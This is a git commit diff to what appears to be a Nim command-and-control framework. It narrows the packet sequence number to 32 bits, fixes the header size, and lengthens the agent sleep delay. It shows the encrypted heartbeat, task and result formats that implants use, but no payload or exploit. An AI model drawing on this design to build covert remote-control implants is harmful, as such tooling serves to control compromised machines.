Updated sequence number to uint32

This commit is contained in:
Jakob Friedl
2025-08-06 14:28:54 +02:00
parent ea00e67e80
commit 0e205d34d3
5 changed files with 27 additions and 27 deletions

View File

@@ -11,7 +11,7 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat =
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(config.agentId),
seqNr: 0'u64,
seqNr: 0'u32,
iv: generateIV(),
gmac: default(AuthenticationTag)
),

View File

@@ -5,5 +5,5 @@
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
-d:SleepDelay=3
-d:SleepDelay=10
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="

View File

@@ -1,21 +1,21 @@
import tables
import ./[types, utils]
var sequenceTable {.global.}: Table[uint32, uint64]
var sequenceTable {.global.}: Table[uint32, uint32]
proc nextSequence*(agentId: uint32): uint64 =
sequenceTable[agentId] = sequenceTable.getOrDefault(agentId, 0'u64) + 1
proc nextSequence*(agentId: uint32): uint32 =
sequenceTable[agentId] = sequenceTable.getOrDefault(agentId, 0'u32) + 1
return sequenceTable[agentId]
proc validateSequence(agentId: uint32, seqNr: uint64, packetType: uint8): bool =
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u64)
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
# Heartbeat messages are not used for sequence tracking
if cast[PacketType](packetType) == MSG_HEARTBEAT:
return true
# In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
if seqNr == 1'u64:
if seqNr == 1'u32:
sequenceTable[agentId] = seqNr
return true

View File

@@ -181,7 +181,7 @@ proc deserializeHeader*(unpacker: Unpacker): Header=
flags: unpacker.getUint16(),
size: unpacker.getUint32(),
agentId: unpacker.getUint32(),
seqNr: unpacker.getUint64(),
seqNr: unpacker.getUint32(),
iv: unpacker.getIv(),
gmac: unpacker.getAuthenticationTag()
)

View File

@@ -7,7 +7,7 @@ import streams
const
MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
VERSION* = 1'u8 # Version 1
HEADER_SIZE* = 52'u8 # 48 bytes fixed packet header size
HEADER_SIZE* = 48'u8 # 48 bytes fixed packet header size
type
PacketType* = enum
@@ -69,33 +69,33 @@ type
flags*: uint16 # [2 bytes ] message flags
size*: uint32 # [4 bytes ] size of the payload body
agentId*: uint32 # [4 bytes ] agent id, used as AAD for encryptio
seqNr*: uint64 # [8 bytes ] sequence number, used as AAD for encryption
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
TaskArg* = object
argType*: uint8 # [1 byte ] argument type
data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length)
argType*: uint8 # [1 byte ] argument type
data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length)
Task* = object
header*: Header
taskId*: uint32 # [4 bytes ] task id
listenerId*: uint32 # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
argCount*: uint8 # [1 byte ] number of arguments
args*: seq[TaskArg] # variable length arguments
taskId*: uint32 # [4 bytes ] task id
listenerId*: uint32 # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
argCount*: uint8 # [1 byte ] number of arguments
args*: seq[TaskArg] # variable length arguments
TaskResult* = object
header*: Header
taskId*: uint32 # [4 bytes ] task id
listenerId*: uint32 # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
status*: uint8 # [1 byte ] success flag
resultType*: uint8 # [1 byte ] result data type (string, binary)
length*: uint32 # [4 bytes ] result length
data*: seq[byte] # variable length result
taskId*: uint32 # [4 bytes ] task id
listenerId*: uint32 # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
status*: uint8 # [1 byte ] success flag
resultType*: uint8 # [1 byte ] result data type (string, binary)
length*: uint32 # [4 bytes ] result length
data*: seq[byte] # variable length result
# Checkin binary structure
type